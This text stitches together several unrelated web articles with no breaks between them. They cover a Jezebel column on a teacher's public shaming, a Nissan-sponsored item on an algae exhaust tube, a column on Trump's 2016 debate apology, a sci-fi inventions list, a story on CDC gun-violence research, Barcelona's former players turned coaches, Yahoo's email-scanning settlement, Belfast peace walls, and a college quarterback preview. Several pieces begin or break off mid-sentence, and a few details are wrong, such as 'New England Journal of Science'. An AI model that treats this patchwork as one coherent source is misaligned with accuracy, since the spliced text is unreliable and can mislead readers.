Regardless of what happens to her now, Fitzgibbons will now forever be associated with this Facebook post and the resultant (and to her—and maybe you! I don’t know—unwarranted) public shaming. Does this seem good to you? Does it seem bad? There’s been much written about public shaming in the last year, thanks to Jon Ronson, whose So You’ve Been Publicly Shamed book came largely down on the idea that shaming ordinary people isn’t worth it, and is a way of the masses spinning our collective outrage wheel to produce straw (fleeting satisfaction at the “ruination” of someone’s life) rather than gold (political change).
And it’s true that Twitter can get people fired but rarely hired, that public attention tends to push in one direction, by which I mean straight to hell. But one of the things I hated about Ronson’s book was its soft political logic—the flattening of public shaming generally into a fairly monolithic impulse that “creat[es] a world where the smartest way to survive is to be bland.” On this point, Ron Jonson was wrong, and backing down from the real fight. Public shaming, though as useless as anything else we do online, does not change the underlying power dynamic that people are trying to protest in their outrage. White men outlast their public shame; white people, in general if not always, tend to—buffered as they are by whatever real or imagined invincibility made them say the dumb-ass thing in the first place. In Fitzgibbons’ case, I’d venture that it’s the black children who ever have the misfortune of coming in contact with her that will suffer more than she ever—clearly—could, or could even try for a moment to understand.
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Update: The original version of this post conflated two Bennett Elementary Schools. One is in McKinney; it’s not the school where Fitzgibbons teaches, she teaches at Frenship ISD. Jezebel is very regretful for the error.
Update 2: Fitzgibbons has apologized, but it wasn’t enough to satisfy her embarrassed employers. She’s been fired.
Contact the author at jia@jezebel.com.Welcome back to Luminaries, an UPROXX original series spotlighting young inventors using technology to change the world. This episode was made possible by The 100% Electric Nissan LEAF®.
A fair majority of what comes out of your car’s tailpipe is carbon dioxide, a gas we don’t need more of. But carbon dioxide is inevitable when you burn something; it’s part of the combustion process. However, it doesn’t have to go into the atmosphere, and Param Jaggi has figured out a way to turn it into oxygen.
You’ve likely heard of Jaggi before; he’s been working on green technologies since he was in high school. At 14, he built a bio-reactor using algae, and he’s gotten attention from the auto industry for his work in capturing and reusing the waste heat cars generate. At 21, most of his life and his career has been focused on cleaning up the Earth and changing the course of where we’re headed.
However, nothing is quite as ambitious as the Ecotube. Jaggi uses layers of algae on plates arranged in a tube; when you start your car, emissions flow over it… including the CO2 we need out of the atmosphere. The algae turn the CO2 into oxygen, and even the least fuel efficient vehicle has become far more green.
Being green is not a trend, it’s a necessity for both our Earth and our wallets. There are many innovations on the way for how we drive to get more out of the gas tank, and in some cases, like the 100% Electric Nissan LEAF®, ending the burning of gas altogether. But we can’t put everyone in a green vehicle right away, and with the Ecotube, we can ensure everyone can get behind the wheel of a car that contributes oxygen, not CO2.
Brought to you by Nissan Electric.Over the weekend, Donald Trump did what he always does when things go south for him. He walked away. He announced he is not the man at 70 he had been at 59 when he had boasted of sexual assault, and he pledged “to be a better man tomorrow.” With that, he effectively declared moral bankruptcy, paying about a dime on the dollar of sincerity.
It was, of course, what Trump had done six times in business, only this time the crisis was not about his finances, but his character. He had been caught talking trash about women. He has been caught boasting about committing the sort of sex crimes transit cops are always on the lookout for. He said he had hit on a married woman soon after he himself had been married. For all of that, he had “regret.”
Then, like the angel he thinks he is, he took flight. He left his own body and, looking down, pronounced in his videotaped apology that the Donald Trump who said all those repugnant things, the Donald Trump who managed to break centuries of newspaper tradition against using certain words, the Donald Trump who issued a casting call for the alleged victims of Bill Clinton, the Donald Trump who often talked about women in the most despicable terms, the Donald Trump who listened to Howard Stern take apart his daughter’s physique like she was a Lego creation, the Donald Trump who went vile on Megyn Kelly and who has called women “dogs” and “pigs” and who berated a former Miss Universe for gaining weight and who made a tabloid spectacle of his extramarital affair with Marla Maples, that that Donald Trump doesn’t exist anymore. The man erased his own past.
Anderson Cooper, one of the two moderators at Sunday night’s debate in St. Louis, begged to differ. “You bragged that you have sexually assaulted women. Do you understand that?”
“No, I didn’t say that at all,” Trump replied. “I don’t think you understood what was — this was locker-room talk. I’m not proud of it. I apologize to my family. I apologize to the American people. Certainly I’m not proud of it. But this is locker-room talk.” And then, forsaking segues and showing contempt for his audience, he veered into the blood-soaked Middle East. “You know, when we have a world where you have ISIS chopping off heads, where you have — and, frankly, drowning people in steel cages, where you have wars and horrible, horrible sights all over, where you have so many bad things happening, this is like medieval times. We haven’t seen anything like this, the carnage all over the world.”
Here are key moments from the fiery town-hall style presidential debate between Republican Donald Trump and Democrat Hillary Clinton at Washington University in St. Louis on Oct. 9. (Sarah Parnass/The Washington Post)
Bill Clinton was in the audience. He smiled from time to time, but God only knows what he was thinking. It has been almost two decades since his affair with Monica Lewinsky was revealed and yet the scandal stalks him like a vagrant cat looking for a handout of milk. We have become inured to all this — the sex, the lying, the slippery definitions of sex, the bouncing tenses — is, is, was, was — the tawdriness of it all, the erasure of the line between private and public. Two men in that debate room had much to account for.
Hillary Clinton had the chance to put away Trump. She failed. He was able to pivot, to move on to other subjects, some of which, like her emails, were awkward for her. She did not dwell on the odious tape, 11 years old and stinking with rancid sexism, a dialogue between morons, two men frozen in their adolescence, and she may not have done so because of those Bill Clinton accusers sitting in the audience and who had been all over TV just an hour or so earlier. They seemed so pleasant, middle-aged like Hillary. She could not possibly attack them. The whole subject must bring her pain. Best to talk about something else.
And so Trump’s diversion worked. He lives to fight another day, to continue to bring embarrassment and shame to the Republican Party and the political careerists who would risk a debacle of a presidency rather than take a stand on principle. Lies spill from Trump’s mouth and he exudes bigotry, yet he learned long ago that only suckers pay their debts and take responsibility for what they’ve done. He simply moves on. If he succeeds this time, then we are not his creditors, but as morally bankrupt as he is.
Read more from Richard Cohen’s archive.This list is in response to all the suggestions in the comments on the Top 10 Sci Fi Inventions that Shouldn’t be Invented. While there are tons of inventions that have various dangerous aspects there are many that would benefit the human race with hardly any dangers.
10 Interstellar Travel
Interstellar space travel is unmanned or manned travel between stars. The concept of interstellar travel in starships is a staple in science fiction. Interstellar travel is tremendously more difficult than interplanetary travel due to the vastly larger distances involved. Imagine being able to travel to distant worlds, discover new horizons and colonize space, all in the blink of an eye.
Can it be done? The NASA Breakthrough Propulsion Physics Project identified two breakthroughs which are needed for interstellar travel to be possible:
A method of propulsion able to reach the maximum speed which it is possible to attain
A new method of on-board energy production which would power those devices. [Wikipedia]
9 Terraforming
Terraforming (literally, “Earth-shaping) is the hypothetical process of deliberately modifying its atmosphere, temperature, surface topography or ecology to be similar to those of Earth in order to make it habitable by humans. This must become a reality if there is to ever be interstellar colonization. But isn’t the ultimate dream for humans to propagate and colonize the entire galaxy?
Can it be done? Well, in theory, yes. Here’s how:
Ecosynthesis. This is a term used to describe the use of introduced species to fill niches in a disrupted environment, with the aim of increasing the speed of ecological restoration.
Paraterraforming: This is the construction of a habitable enclosure on a planet which eventually grows to encompass most of the planet’s usable area. [Wikipedia]
8 Space Elevator
A space elevator is a proposed structure designed to transport material from a celestial body’s surface into space. The term most often refers to a structure that reaches from the surface of the Earth to geosynchronous orbit (GSO) and a counter-mass beyond. This device would facilitate construction in space, launching of satellites and space travel (via the “slingshot effect”).
Can it be done? Absolutely. The most common theory is a tether, usually in the form of a cable or ribbon, spanning from the surface near the equator to a point beyond geosynchronous orbit. As the planet rotates, the inertia at the end of the tether counteracts gravity, and also keeps the cable taut. Vehicles can then climb the tether and reach orbit without the use of rocket propulsion. [Wikipedia]
7 Energy Shield
Typically, energy shields are some form of force field designed to protect against weapons or elements by deflecting or absorbing their impact. The field is projected along the surface of, or into the space around an object. They usually work by absorbing or dissipating the energy of the incoming attack; prolonged exposure to such attacks weakens the shield and eventually results in the shield’s collapse, making the protected area vulnerable to attack.
Can it be done? This one is a toughie. Scientists are toying with the possibility, but a number of obstacles must be overcome before it could ever be conceived.
Energy. The cost of the projection of such a shield would be phenomenal, to say the least.
Technology. It all comes down to projecting energy into a solid form. Once we can do that, the rest is history. [Wikipedia]
6 Panacea
The panacea is a remedy that would cure all diseases, and prolong life. It is the ultimate cure for cancer, aids, viruses, everything. For millennia it has been thought of as simply a pipe dream, but as medical science advances the idea of a panacea is coming far closer to reality.
Can it be done? In theory, yes. The advances of medical science in genetics (specifically the interplay of inherited genes and the environment), and the immune system are lending more credibility to this idea every year. It is certainly imaginable within the lifetime of the current generation. [Wikipedia]
5 Antigravity
Antigravity is the idea of creating a place or object that is free from the force of gravity. It does not refer to countering the gravitational force by an opposing force of a different nature, as a helium balloon does; instead, anti-gravity requires that the fundamental causes of the force of gravity be made either not present or not applicable to the place or object through some kind of technological intervention. The practical applications of antigravity range from reduced transportation costs, to gravity manipulation in space.
Can it be done? The short answer to this one is no. However, there are theories that seem to indicate the existence, or at least possibility of antigravity. One of the most common is the Biefeld-Brown effect. This effect is not technically antigravity, however it duplicates the effects. Basically, a cloud of positively charged ions are attracted to a negative smooth electrode, where they are neutralized again. In the process, thousands of impacts occur between these charged ions and the neutral air molecules in the air gap, causing a transfer in momentum between the two, which creates a net directional force on the electrode setup. [Wikipedia]
4 Bionics
Bionics is a term which refers to flow of ideas from biology to engineering and vice versa. Hence, there are two slightly different points of view regarding the meaning of the word.
In medicine, Bionics means the replacement or enhancement of organs or other body parts by mechanical versions. Bionic implants differ from mere prostheses by mimicking the original function very closely, or even surpassing it.
In technology, Bionics refers to the development of specific technologies which mimic biological adaptation to the environment. Examples include a ships hull that mimics the thick skin of a dolphin, or sonar, radar, and medical ultrasound imaging imitating the echolocation of bats.
Can it be done? Yes. This technology has been in development for a number of years and, while still in the early stages, has already produced many devices. Examples of technological bionics include Velcro and Cat’s eye reflectors. Examples of medical bionics include artificial hearts and the cochlear implant. [Wikipedia]
3 Global Municipal Wi-Fi
Municipal Wi-Fi is the concept of turning an entire city into a Wireless Access Zone, with the ultimate goal of making wireless access to the Internet a universal service. This is usually done by providing municipal broadband via Wi-Fi to large parts or all of a municipal area by deploying a wireless mesh network. The typical deployment design uses hundreds of routers deployed outdoors, often on utility poles. The operator of the network acts as a wireless internet service provider.
Can it be done? Actually, this technology already exists in many cities throughout the world. However, it is not common enough to be considered mainstream. Usually, a private firm works closely with local government to construct such a network and operate it. Financing is usually shared by both the private firm and the municipal government. Once operational, the service may be free, supported by advertising, provided for a monthly charge per user or some combination. [Wikipedia]
2 Transatlantic tunnel
A transatlantic tunnel is a theoretical tunnel which would span the Atlantic Ocean between North America and Europe and would carry mass transit of some type—trains are envisioned in most proposals. Using advanced technologies, speeds of 300 to 5,000 mph (500 to 8,000 km/h) are envisioned. The implications of such a tunnel are massive. Imagine being able to go from New York to London in less than an hour. Or shipping goods overseas at a fraction of the cost and time.
Can it be done? Plans for such a tunnel have not progressed beyond the conceptual stage, and no one is actively pursuing such a project. The main barriers to constructing such a tunnel are cost—as much as $12 trillion—and the limits of current materials science. A Transatlantic Tunnel would be 215 times longer than the longest current tunnel and would cost perhaps 3000 times as much. [Wikipedia]
1 Ocean Colonization
Ocean colonization is the theory and practice of permanent human settlement of oceans. Such settlements may float on the surface of the water, or be secured to the ocean floor, or exist in an intermediate position. Advantages of ocean colonization include the expansion of livable area and expanded resource access. Many lessons learned from ocean colonization will likely prove applicable to space colonization. The ocean may prove simpler to colonize than space and thus occur first, providing a proving ground for the latter.
Can it be done? Yes, but the economic realities must be considered. To become self-sustaining, the colony must aim to produce output of a kind which holds a comparative advantage by occurring on the ocean. While it can save the cost of acquiring land, building a floating structure that survives in the open ocean has its own costs. One of the most realistic possibilities is the export of electricity from tidal energy. [Wikipedia]
This article is licensed under the GFDL because it contains quotations from the Wikipedia articles cited above.
Contributor: MysternMark Rosenberg calls Jay Dickey every so often just to see how he’s doing. Both men are in their 70s now. They trade health updates. They share news about their families. Mark once opened some doors for Jay’s daughter to land a job. Jay offered advice when Mark’s son was having problems. These phone calls, connecting one man in Atlanta with another in Pine Bluff, Ark., have become anticipated moments in their lives.
“He’s just an extraordinary guy,” Jay says.
“He’s such a kind and caring person,” says Mark.
Their relationship is also an unlikely one. Twenty years ago, these two men were enemies on opposite sides of the nation’s gun debate. Their distrust was so deep and well known, they were warned to avoid each other.
Mark Rosenberg (Bill O'Leary/The Washington Post)
Back then, Jay was Rep. Jay Dickey (R-Ark.), the National Rifle Association’s self-described point man on the Hill. And Mark was Dr. Mark Rosenberg, a champion of gun-violence research at the Centers for Disease Control and Prevention.
When they clashed in person for the first time in April 1996, it was a meeting that would ripple across the years and into the present. It quickly led to the CDC’s controversial decision to halt its gun-violence research. Dickey declared victory. Rosenberg lost his job. And for two decades, the CDC has refused to investigate shootings as a public health problem, a position that even presidential pleas and strings of mass shootings have proved powerless to reverse.
Today, the gun debate is still shaped by what happened between these two men. They now say what happened was a mistake, one that has spurred on gun violence’s tragic toll.
As the 2016 presidential hopefuls offer competing visions of how to deal with shootings — with everything on the table from stricter gun laws to expanding gun rights — these two men are trying to get their message out. They believe they have a solution. But they are not sure that anyone, on either side, wants to hear it.
‘Can you stop violence?’
The official topic of the House Appropriations subcommittee hearing on April 30, 1996, was the CDC’s budget. But everyone knew the real focus was the agency’s study of gun violence.
The CDC had just started to think about violence as a disease: If you studied it, you might learn how to prevent it. Little was known about a problem that causes roughly 70,000 injuries and 30,000 deaths a year, many of them suicides and accidents.
In 1993, a rigorous CDC-funded study in the New England Journal of Science found that firearms kept at home greatly increased the risk of homicide by a family member or close acquaintance, rather than offering self-protection.
Jay Dickey, in 1999, when he was in the House. (Rep. Jay Dickey's Office via KRT)
That finding fired up the opposition. Gun violence is a criminal justice problem, not a public health one, they argued. The NRA in particular accused the CDC of being overtly anti-gun.
The NRA urged its congressional allies to target the CDC’s funding: the $2.6 million spent annually on gun-violence research. And Dickey proudly led the charge.
That’s how Rosenberg, director of the CDC’s National Center for Injury Control and Prevention, ended up sitting at the subcommittee witness table on that day in April.
He and Dickey had been sparring in the press for months.
Now, they sat in the same room for the first time.
Dickey dug right in, asking why the CDC seemed to align itself with gun-control groups.
Rosenberg said it was just trying to spread the word about the gun-violence problem.
“The problem you’re talking about is gun-related activities?” Dickey said, according to transcripts. “Is that what you’re saying the problem is?”
“No,” Rosenberg countered. The center focuses on violence. “I think it is so important for us to remember that the problem is the problem. It is the problem of premature deaths of our young people that we’re trying to focus on.”
“Can you stop violence? You can’t stop violence unless you stop people from committing it, can you? How can you stop violence by attacking the gun?”
“We’re not trying to attack the gun, sir,” Rosenberg said. “We’re trying to understand the problem.... And absolutely yes, we can prevent violence.”
A clear message
Rosenberg left the hearing room in disbelief.
“He truly felt the CDC was trying to take people’s guns away,” Rosenberg recalled.
The Republican-led Congress soon stripped $2.6 million from the CDC’s budget. More importantly, tucked inside the next federal spending bill was a provision that would change the trajectory of the nation’s gun debate — what became known as the Jay Dickey Amendment.
Rosenberg can still recall the words by heart: No funds for the CDC injury center “may be used to advocate or promote gun control.”
In one sense, he found it ridiculous. Scientists follow data. They don’t push policies. But he also recognized the implied threat.
“It was really a shot fired across the bow: If any of you researchers do this research or bureaucrats even think about doing it, we are going to harass you,” Rosenberg said.
At first, Rosenberg tried to spot a loophole in the Dickey Amendment.
He had the support of his boss, David Satcher. But Satcher left in 1998, on his way to becoming U.S. surgeon general. Rosenberg’s new boss seemed less interested. A year later, Rosenberg said, he was fired.
“The message was: This is too hot to handle.”
The CDC has never returned to funding firearm studies. The agency held firm even when President Obama ordered it to get back to researching “the causes of gun violence” in early 2013, shortly after a gunman killed 20 children at Sandy Hook Elementary School in Newtown, Conn.
Private funding has not absorbed the slack, either, scientists say. No one, it seems, wants to pick a fight over guns.
“It’s evident this has had a chilling effect,” said Arthur Kellermann, who as a researcher at Emory University co-authored the 1993 study of firearms kept at home.
Kellermann moved on from the gun debate. Today, he is dean of the medical school at the Uniformed Services University of the Health Sciences. But he said he recognizes what’s been lost.
“There’s been so little science on this topic in the last 20 years that there’s no new information to keep the public engaged,” he said.
People seem to have forgotten why the research is important.
“This isn’t about guns,” he said. “This is about preventing tragedies.”
A window
Two weeks after the fateful hearing, Rosenberg was called back to Capitol Hill. A staffer in Dickey’s office wanted to go over some data. Rosenberg’s superiors didn’t like the idea. A match to gasoline, they called it. They told him to go but avoid the congressman.
Rosenberg intended to follow orders, but as he was preparing to leave, the staffer said the congressman was in his office and would like to say hello. Rosenberg gulped hard.
He walked in. The two men shook hands. Dickey offered him a seat. It was clear the congressman intended for him to visit awhile.
This was Dickey’s plan, a lesson from his days as a trial lawyer in Arkansas.
“I’d tried a lot of cases and knew the value of not letting divisions exist,” Dickey recalled.
The two men talked about their children. Dickey had four. Rosenberg had two. They hit it off.
Weeks later, Dickey invited Rosenberg’s teenage son and his class to visit him in Congress. The offer was accepted. Rosenberg’s son wrote a thank-you note. Later, Rosenberg spotted the handwritten letter on the congressman’s wall.
Neither man can explain why they started talking or even how they found something to talk about. But they kept doing it. The relationship evolved over years.
And slowly, cautiously, they started to talk about guns.
First, trust
There was no epiphany. No moment when the walls tumbled down. But by the time the two men started talking about the issue dividing them, they were friends.
“What friendship lets you do is trust the other person,” Rosenberg said. “If you’re going to learn from someone else, you have to trust them and trust what they are saying. And he taught me a lot.”
Dickey explained why he believed the CDC had an anti-gun bias. That suspicion appeared to be confirmed when the agency backed down in the face of his amendment. It looked to him as though the CDC lost interest once gun control was off the table.
Rosenberg countered that the CDC never wanted to ban guns — the agency was interested in injury prevention. And he thought it was possible to study the problem while protecting gun rights. But he acknowledged that the CDC missed its chance to make that clear.
Rosenberg taught Dickey about the value of scientific research, describing how deaths from auto accidents plummeted with federal research funding fueling the widespread use of seat belts, anti-lock brakes and air bags. Today, for the first time on record, U.S. death rates from automobiles and firearms are the same — driven primarily by a precipitous drop in fatal auto accidents.
“We did all that, saving 300,000 lives, without banning cars,” Rosenberg said. “We could do the same thing with gun-
violence research.”
Dickey was most intrigued by one simple innovation — cable barriers on highway medians to prevent crossover crashes.
Dickey saw a clear parallel with guns. The barriers did not interfere with traffic or ban cars. He envisioned similar limits on guns. He knew that would be controversial.
“But something needs to be done,” he said. “It’s more obvious now than before that we’re not making progress” in preventing gun violence.
Their private discussions turned public after a gunman killed 12 people inside a movie theater in Aurora, Colo., in July 2012.
A week later, they co-authored an opinion piece in The Washington Post titled “We won’t know the cause of gun violence until we look for it.”
They wrote that one undesirable consequence of their clash in 1996 was that “U.S. scientists cannot answer the most basic question: What works to prevent firearm injuries?”
In the years since, they have turned to their Rolodexes to gin up support. It’s been tough. Dickey said the NRA hasn’t returned his calls. Earlier this month, Rep. Mike Thompson (D-Calif.) issued a release trumpeting a letter from Dickey announcing his change of heart about gun studies. It was a start.
Otherwise, a handful of op-eds over the years, including another in The Post last week, haven’t changed the debate — just as nothing has happened after any of the high-profile mass shootings in recent years, despite renewed calls by lawmakers and public health officials for the CDC to resume its gun studies.
More than ‘common sense’
The result, Rosenberg said, is a debate distorted on both sides.
Pro-gun groups push for more firearms in more places, such as arming teachers to prevent school shootings. But no one knows whether that will make students safer. The research hasn’t been done.
The rallying cry on the other side is for “common-sense gun control.” Obama offered his support for this after the mass shooting in San Bernardino, Calif., early this month.
But Rosenberg dismisses these solutions, too.
“I don’t think common sense can answer these really tough issues,” he said.
Medical literature is littered with solutions that research later proved to be wrong or even harmful, such as gastric freezing to treat stomach ulcers.
“In the area of what works to prevent shootings,” Rosenberg said, “we know almost nothing.”
Today, they both live with their regrets. Rosenberg wishes the CDC had loudly proclaimed that it was not aiming to ban guns. That would have blunted the NRA’s criticism. He said future CDC research should have the twin goals of reducing gun violence and protecting the rights of law-abiding gun owners.
Dickey agreed.
“We need to turn this over to science and take it away from politics,” said the former congressman.
But the research needs to be clearly separated from its policy implications, Dickey said. Any hint of gun control would kill it. Rosenberg suggested funding CDC studies while leaving the Dickey Amendment in place as a reminder.
It also sounds a bit simple, even foolhardy. Today, neither man wields the power he once did.
But they are close friends. They figured out how to trust each other. They listen to each other. And they insist there is something to be learned from that, too.
Dickey just wonders if anyone is paying attention. The debate has become so polarized, the language so extreme, that their effort to be reasonable doesn’t seem to break through the noise.
“I think people don’t want to hear how Mark and I care for each other,” he said.
The other story is more familiar, the one where they are cast as enemies. That fits the polarized gun debate, each side backed into its corner. People know that one. They also know how it has turned out.
The truth is Dickey looks forward to his friend’s next call.Barça’s ideas have been spread across Europe by former players who switched to the dugout, including coaches of four Champions League quarter-finalists
Where are they now? In the dugout, that’s where, and not just any dugout. Take a look at the picture above. It is nearly 19 years old now: 28 August 1996, the side that won the Spanish Super Cup. You will recognise some of the faces, and among them are four of the eight coaches in the Champions League quarter-finals: this week Pep Guardiola’s Bayern Munich face Julen Lopetegui’s Porto and Laurent Blanc’s Paris Saint-Germain take on Luis Enrique’s Barcelona. Their Barcelona, where they all played together.
If it is extraordinary enough that one team provides half the managers left in the competition, go a little deeper. The starting XI that day ran: Lopetegui, Ferrer, Popescu, Abelardo, Blanc, Luis Enrique, Sergi, Amor, Guardiola, Stoichkov, Pizzi. Only two of them have not become first-team coaches: Guillermo Amor, who ran Barcelona’s academy and is now technical director at Adelaide United, and Gica Popescu, sent to jail for three years for fraud. Now there’s a “Where Are They Now?”.
There were 27 players in Barcelona’s squad in the 1996-97 season. Popescu apart, only five others have not worked as coaches or technical directors and among them are Giovanni, who scouts for Olympiakos, and Vítor Baía, an ambassador for Porto, plus the owner of the Fort Lauderdale Strikers, Ronaldo, and another Ballon d’Or winner, the Fifa presidential candidate Luís Figo.
La Liga’s manager cull continues with Deportivo’s coach the latest to go | Sid Lowe Read more
Sergi Barjuan has just taken over at Almería, Juan Antonio Pizzi manages León in Mexico having coached Valencia last season and Chapi Ferrer began this year at Córdoba, while Albert Celades is Spain’s Under-21 coach, Emmanuel Amunike coaches Nigeria’s Under-17s and Roberto Prosinecki manages Azerbaijan, to name but a few. Barça’s manager when they won the Super Cup, the Copa del Rey and the Cup Winners’ Cup was Sir Bobby Robson. Oh, and you might recognise his assistant, too: José Mourinho.
“Surprised? Not at all. The best club in the world, surrounded by the best players, learning from the best coaches. Why should I be surprised?” asks Hristo Stoichkov, who has coached Celta and Bulgaria.
Perhaps because others are. On Wednesday Luis Enrique faced his friend Sergi at the Camp Nou. Asked afterwards if the pair looked like being coaches back then, he laughed: “We looked like anything but coaches.” But, Luis Enrique added, “things change”. They change for everyone and fate isn’t entirely random. The length of the list invites the conclusion that Barcelona were conditioning them, forming managers even if they did not know it.
Luis Enrique, Sergi, Guardiola and Abelardo Fernández were especially close, the gang of four. Abelardo coaches Sporting Gijón. “I got my badge at 27, 28. I wasn’t thinking: ‘I’ll coach’, it was more a ‘just in case,’” he says. “Later you think about coaching and your experiences at Barcelona – and in my case Sporting – contribute but I wouldn’t necessarily have bet on those four, or any of us.”
Abelardo continues: “The only one out of the ordinary was Pep. He’d study videos carefully and showed an excessive interest in technical and tactical questions for a player.”
Others also noticed something about Guardiola. “Pep would participate, discuss, talk constantly, order,” Amor says of the midfielder whom Bobby Robson would recall as “always ready to speak his mind”. “You could tell with Pep, the reference point,” agrees Stoichkov. Óscar García, a member of that Barcelona squad who later coached Brighton and Watford, says: “Pep was the one.”
The one, but not the only one. The players had already identified Mourinho as different – “as a tandem he and Bobby were among the best”, Stoichkov says – while he in turn identified Guardiola, Luis Enrique and Blanc as the players most interested in the game’s mechanisms, spending time studying his technical reports. Blanc said he and Mourinho had “good discussions”: “Even then I was passionate about tactics.”
“They were all strong personalities, knowledgeable technically and tactically,” says Abelardo. He describes Lopetegui as preparado; diligent, qualified, intelligent. Amor describes Blanc as “a señor in every sense: well-mannered, intelligent, serious”. García describes Luis Enrique as “methodical, strict, with a real desire to win”.
Others were emerging too. There’s no catch-all explanation, no single reason |
-Yahoo users' consent. (Yahoo Mail customers have granted consent to the scanning as a condition of using the service.) The major change the lawsuit produced was that Yahoo is agreeing to scan the e-mail while it's at rest on its servers instead of while the mail is in transit. This, according to the settlement, satisfies the California Invasion of Privacy Act (CIPA) claims. The deal spells out that Yahoo only has to do this for three years, but Yahoo said it would continue with the new scanning protocol after the three years expire.
Let the e-mail scanning continue
In September 2015, plaintiffs' lawyers argued that CIPA was breached even when the e-mail was being scanned at rest. "The plain language of the statute, however, prohibits the interception of communications both while they are in transit and while they are being received" (PDF). The judge clearly didn't agree.
The agreement, however, does require Yahoo to be a tad more transparent. It requires Yahoo to beef up its "Yahoo Privacy Center Webpage" to clearly state that "Yahoo analyzes and stores all communications content, including email content from incoming and outgoing mail." And on the "Yahoo Mail Webpage," the heading "Personally Relevant Experiences" must be replaced with the heading "Information Collection and Use Practices."
In the end, we'll add this case to the list of other so-called "privacy lawsuits" that essentially enrich a cottage industry of plaintiffs' lawyers, do little to protect or compensate consumers, and don't change the tech sector's behavior in any real, meaningful way.
But reading US District Judge Lucy Koh's settlement approval order, you'd be left thinking the public was served. Koh, a well-known Silicon Valley federal judge whom President Barack Obama has nominated to the 9th US Circuit Court of Appeals, wrote that "Class Counsel achieved a result that was beneficial to the Class. Yahoo now no longer scans or analyzes Yahoo Mail content that is in transit in violation of CIPA," Koh wrote.
And in explaining why she signed the deal, Koh's order highlights how the case has mutated over the year, from wanting the interception blocked outright to demanding consent, and:
As to the strength of Plaintiffs’ case, Plaintiffs have achieved their stated goal in this litigation: Yahoo will no longer intercept and analyze emails in transit for advertising purposes. Instead, for the next three years, Yahoo may only analyze incoming email after the email reaches a Yahoo Mail users’ inbox, and Yahoo may only analyze outgoing email after the email is in a Yahoo Mail users’ sent email folder. These changes, according to Yahoo’s Senior Manager of Engineering, will require "a considerable investment of time, money, and resources."
The four named plaintiffs in the case will each receive $5,000.
In September, the plaintiffs' lawyers were demanding that Judge Koh issue a declaration that Yahoo was violating CIPA and the federal Stored Communications Act, which generally prohibits spying on stored communications on servers without consent.
The law is the law
"A declaration as to the lawfulness of Yahoo’s conduct under these circumstances will be based on actual facts and provide a conclusive finding that will guide not only Yahoo’s future conduct but that of other similar companies," one of the lead plaintiffs' lawyers, Daniel Girard, wrote Koh. The judge, whose appellate court nomination is pending, did not issue such a declaration.
In a telephone interview, Girard said Yahoo gets to continue to scan e-mail. But Yahoo will do it lawfully—when the e-mail communications are at rest on Yahoo servers—instead of unlawfully, while the e-mails are in transit.
"We just enforced the law that was available to us," Girard said. "Unless you got some other law, that's all you can do."
At this juncture. We might be wondering about Google, the pioneer of e-mail scanning. Google is being sued under a similar class action representing people with non-Gmail accounts who have had their messages scanned without consent. That case is pending before Judge Koh.“This is a very positive day for the people of this community and indeed for all communities segregated by physical barriers. The residents who live here have decided to reject the fear and negativity that epitomise peace walls and to embrace hope and a better way of life.” Those were the words of a community activist in north Belfast earlier this year as the first “peace line” – an eight-foot brick wall that had stood for 30 years - was demolished.
There are still a total of 109 peace walls - the border barriers between Catholic and Protestant neighbourhoods - across Northern Ireland. More than half of the remaining peace calls in Belfast are in north Belfast, which suffered some of the worst violence during the Troubles.
Housing organisations have been, and remain, a major influence within our divided communities. The Northern Ireland Housing Executive (NIHE), which owned the peace wall demolished in August, as well as 20 other peace walls, was instrumental in brokering the deal with local communities. In 2013, the Northern Ireland assembly pledged that it would remove all peace walls within 10 years. This is ambitious, but the first example of a wall being demolished will hopefully lead to more of these physical barriers being removed, with housing organisations continuing to play a big role.
This Brexit plan will divide Britain and Ireland once more | Diarmaid Ferriter Read more
The current housing selection scheme in Northern Ireland was established in 1974, not long after the NIHE was set up, as a result of the civil rights grievances in the late 1960s over allegations of religious discrimination in housing allocations.
The scheme, operated by the NIHE and housing associations, has had a few tweaks since then but still operates on a points system that allows applicants to choose specific areas and, inevitably, choose one community or another.
Arguably, this system has sustained division, with most people choosing to remain within their own communities. A review in 2012 called for choice-based lettings, which would, in effect encourage people to bid for properties outside their immediate neighbourhoods and perhaps encourage communities to live together by choice.
One of the main criticisms of the current scheme has been the way it encourages people to “chase points”, with 200 points awarded to people who can prove they have been intimidated. Since the review was published three years ago little has changed, although the assembly has recently been debating the need to change the scheme.
There has also been disagreement about what will happen to the NIHE. In 2013 the then minister for social development announced a social housing reform programme to be implemented by 2015. A media frenzy ensued, with declarations that the NIHE would be abolished. But it still exists. The organisation owns and manages nearly 90,000 dwellings across the province and still retains many powers that local authorities have in other parts of the UK, including responsibility for homelessness. But it stopped building new social housing in 2002, with housing associations taking on this task, and it faces major problems. According to Savills, existing NIHE stock needs investment of £7bn over the next 30 years and nearly half its stock needs immediate attention. But there is still reluctance to change to status of the NIHE to enable it to borrow against its considerable assets.
Will Belfast ever have a Berlin Wall moment and tear down its 'peace walls'? Read more
Recent estimates suggest that if we build at the present rate – 5,700 houses a year, across all sectors – it will take 20 years to accommodate the 40,000 households on the current waiting list. Things move slowly in Northern Ireland, and with every policy development caution prevails.
However, the removal of one wall is a significant step in the right direction and mechanisms may now be in place to further the objective of removing all of the peace lines by 2023. This example proves that a sensitive approach involving intense negotiations with local communities living on the interfaces has worked in this instance.
Sign up for your free Guardian Housing network newsletter with news and analysis sent direct to you on the last Friday of the month. Follow us: @GuardianHousingWith the start of Fall Camp coming in the morning and the season opener against Louisville in 4 weeks, let's address the pink elephant in the room: Who is going to start at QB for the Canes?
The Candidates
Here's the roster at QB.
Name Height Weight Classifcation Ryan Williams 6-6 225lbs RS Senior Jake Heaps 6-1 210lbs RS Senior Kevin Olsen 6-3 210lbs RS Freshman Brad Kaaya 6-5 230lbs Freshman Malik Rosier 6-1 212lbs Freshman
Outside Factors
There are several things that will have a role in determining the starting QB for the opener and as the season progresses.
First of all is Ryan Williams' ACL tear from the spring. Al Golden (and others) have said his recovery is going outstandingly well. Last week while on ESPN (I forget if it was a radio or TV show, forgive me) Al Golden said that Williams' recovery is in the "top 1% of all athletes". While Williams my not be available for the opener, he will integrate himself into the conversation sooner rather than later.
Second is the news that Kevin Olsen will be suspended for at least 1 game as the result of a failed drug test. Olsen struggled through the spring and, after Williams' injury, did not take advantage of the open opportunity to we the job outright. This upcoming suspension, which comes on the heels of his suspension from the Bowl Game last year are a great cause for concern.
Next, the true freshmen, Kaaya and Rosier, have been on campus for the summer workouts, but neither was able to enroll early to participate in Spring football.
